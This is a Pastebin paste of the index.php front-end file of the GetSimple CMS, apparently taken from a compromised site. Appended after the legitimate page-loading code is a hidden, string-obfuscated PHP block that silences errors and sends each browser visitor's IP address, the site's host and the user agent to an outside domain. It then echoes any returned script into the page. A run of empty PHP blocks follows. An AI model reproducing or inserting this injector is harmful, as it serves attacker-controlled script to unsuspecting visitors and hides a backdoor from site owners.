Advertisement
Guest User

Untitled

a guest
Jul 30th, 2014
221
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.34 KB | None | 0 0
  1. <?php
  2. /**
  3. * Index
  4. *
  5. * Where it all starts
  6. *
  7. * @package GetSimple
  8. * @subpackage FrontEnd
  9. */
  10.  
  11. # Setup inclusions
  12. $load['plugin'] = true;
  13. if (file_exists('gsconfig.php')) {
  14. require_once('gsconfig.php');
  15. }
  16.  
  17. # Relative
  18. if (defined('GSADMIN')) {
  19. $GSADMIN = GSADMIN;
  20. } else {
  21. $GSADMIN = 'admin';
  22. }
  23. $admin_relative = $GSADMIN.'/inc/';
  24. $lang_relative = $GSADMIN.'/';
  25. $base = true;
  26.  
  27. # Include common.php
  28. include($GSADMIN.'/inc/common.php');
  29.  
  30. # get page id (url slug) that is being passed via .htaccess mod_rewrite
  31. if (isset($_GET['id'])){
  32. $id = str_replace ('..','',$_GET['id']);
  33. $id = str_replace ('/','',$id);
  34. $id = lowercase($id);
  35. } else {
  36. $id = "index";
  37. }
  38.  
  39. # define page, spit out 404 if it doesn't exist
  40. $file = GSDATAPAGESPATH . $id .'.xml';
  41. $file_404 = GSDATAOTHERPATH . '404.xml';
  42. $user_created_404 = GSDATAPAGESPATH . '404.xml';
  43. if (! file_exists($file)) {
  44. if (file_exists($user_created_404)) {
  45. //user created their own 404 page, which overrides the default 404 message
  46. $file = $user_created_404;
  47. } elseif (file_exists($file_404)) {
  48. $file = $file_404;
  49. }
  50. exec_action('error-404');
  51. }
  52.  
  53. # get data from page
  54. $data_index = getXML($file);
  55. $title = $data_index->title;
  56. $date = $data_index->pubDate;
  57. $metak = $data_index->meta;
  58. $metad = $data_index->metad;
  59. $url = $data_index->url;
  60. $content = $data_index->content;
  61. $parent = $data_index->parent;
  62. $template_file = $data_index->template;
  63. $private = $data_index->private;
  64.  
  65. # if page is private, check user
  66. if ($private == 'Y') {
  67. if (isset($USR) && $USR == get_cookie('GS_ADMIN_USERNAME')) {
  68. //ok, allow the person to see it then
  69. } else {
  70. redirect('404');
  71. }
  72. }
  73.  
  74. # if page does not exist, throw 404 error
  75. if ($url == '404') {
  76. header($_SERVER["SERVER_PROTOCOL"]." 404 Not Found");
  77. }
  78.  
  79. # check for correctly formed url
  80. if (defined('GSCANONICAL')) {
  81. if ($_SERVER['REQUEST_URI'] != find_url($url, $parent, 'relative')) {
  82. redirect(find_url($url, $parent));
  83. }
  84. }
  85.  
  86. # include the functions.php page if it exists within the theme
  87. if ( file_exists(GSTHEMESPATH .$TEMPLATE."/functions.php") ) {
  88. include(GSTHEMESPATH .$TEMPLATE."/functions.php");
  89. }
  90.  
  91. # call pretemplate Hook
  92. exec_action('index-pretemplate');
  93.  
  94. # include the template and template file set within theme.php and each page
  95. if ( (!file_exists(GSTHEMESPATH .$TEMPLATE."/".$template_file)) || ($template_file == '') ) { $template_file = "template.php"; }
  96. include(GSTHEMESPATH .$TEMPLATE."/".$template_file);
  97.  
  98. # call posttemplate Hook
  99. exec_action('index-posttemplate');
  100.  
  101. ?>
  102. <?php
  103. #19f955#
  104. error_reporting(0); ini_set('display_errors',0); $wp_fcdg91295 = @$_SERVER['HTTP_USER_AGENT'];
  105. if (( preg_match ('/Gecko|MSIE/i', $wp_fcdg91295) && !preg_match ('/bot/i', $wp_fcdg91295))){
  106. $wp_fcdg0991295="http://"."tag"."modules".".com/modules"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_fcdg91295);
  107. $ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_fcdg0991295);
  108. curl_setopt ($ch, CURLOPT_TIMEOUT, 6); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $wp_91295fcdg = curl_exec ($ch); curl_close($ch);}
  109. if ( substr($wp_91295fcdg,1,3) === 'scr' ){ echo $wp_91295fcdg; }
  110. #/19f955#
  111. ?>
  112. <?php
  113.  
  114. ?>
  115. <?php
  116.  
  117. ?>
  118. <?php
  119.  
  120. ?>
  121. <?php
  122.  
  123. ?>
  124. <?php
  125.  
  126. ?>
  127. <?php
  128.  
  129. ?>
  130. <?php
  131.  
  132. ?>02#
  133. ?>
  134. <?php
  135.  
  136. ?>
  137. <?php
  138.  
  139. ?>
  140. <?php
  141.  
  142. ?>
  143. <?php
  144.  
  145. ?>
  146. <?php
  147.  
  148. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement